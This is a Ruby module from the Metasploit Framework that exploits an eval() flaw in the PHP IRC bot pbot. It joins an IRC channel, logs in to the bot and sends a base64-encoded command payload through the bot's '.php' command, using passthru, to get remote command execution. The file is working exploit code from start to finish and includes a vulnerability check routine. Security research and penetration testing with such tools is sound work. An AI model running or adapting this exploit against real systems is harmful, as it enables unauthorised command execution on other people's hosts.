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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',
'Description' => %q{
This module allows remote command execution on the PHP IRC bot pbot by abusing
the usage of eval() in the implementation of the .php command. In order to work,
the data to connect to the IRC server and channel where find pbot must be provided.
The module has been successfully tested on the version of pbot analyzed by Jay
Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP
SP3.
},
'Author' =>
[
'evilcry', # pbot analysis'
'Jay Turla', # pbot analysis
'@bwallHatesTwits', # PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '20168' ],
[ 'URL', 'http://offensivecomputing.net/?q=node/1417'],
[ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']
],
'Platform' => [ 'unix', 'win'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Targets' =>
[
[ 'pbot', { } ]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 02 2009',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6667),
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),
OptString.new('PBOT_PASSWORD', [false, 'pbot Password', ''])
], self.class)
end
def check
connect
response = register(sock)
if response =~ /463/ or response =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return Exploit::CheckCode::Unknown
end
response = join(sock)
if not response =~ /353/ and not response =~ /366/
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return Exploit::CheckCode::Unknown
end
response = pbot_login(sock)
quit(sock)
disconnect
if response =~ /auth/ and response =~ /logged in/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
data
end
def register(sock)
msg = ""
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
end
if datastore['NICK'].length > 9
nick = rand_text_alpha(9)
print_error("The nick is longer than 9 characters, using #{nick}")
else
nick = datastore['NICK']
end
msg << "NICK #{nick}\r\n"
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
response = send_msg(sock,msg)
return response
end
def join(sock)
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
response = send_msg(sock, join_msg)
return response
end
def pbot_login(sock)
login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"
if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?
login_msg << " #{datastore['PBOT_PASSWORD']}"
end
login_msg << "\r\n"
response = send_msg(sock, login_msg)
return response
end
def pbot_command(sock)
encoded = Rex::Text.encode_base64(payload.encoded)
command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"
response = send_msg(sock, command_msg)
return response
end
def quit(sock)
quit_msg = "QUIT :bye bye\r\n"
sock.put(quit_msg)
end
def exploit
connect
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
response = register(sock)
if response =~ /463/ or response =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return
end
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
response = join(sock)
if not response =~ /353/ and not response =~ /366/
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return
end
print_status("#{rhost}:#{rport} - Registering with the pbot...")
response = pbot_login(sock)
if not response =~ /auth/ or not response =~ /logged in/
print_error("#{rhost}:#{rport} - Error registering with the pbot")
return
end
print_status("#{rhost}:#{rport} - Exploiting the pbot...")
pbot_command(sock)
quit(sock)
disconnect
end
end
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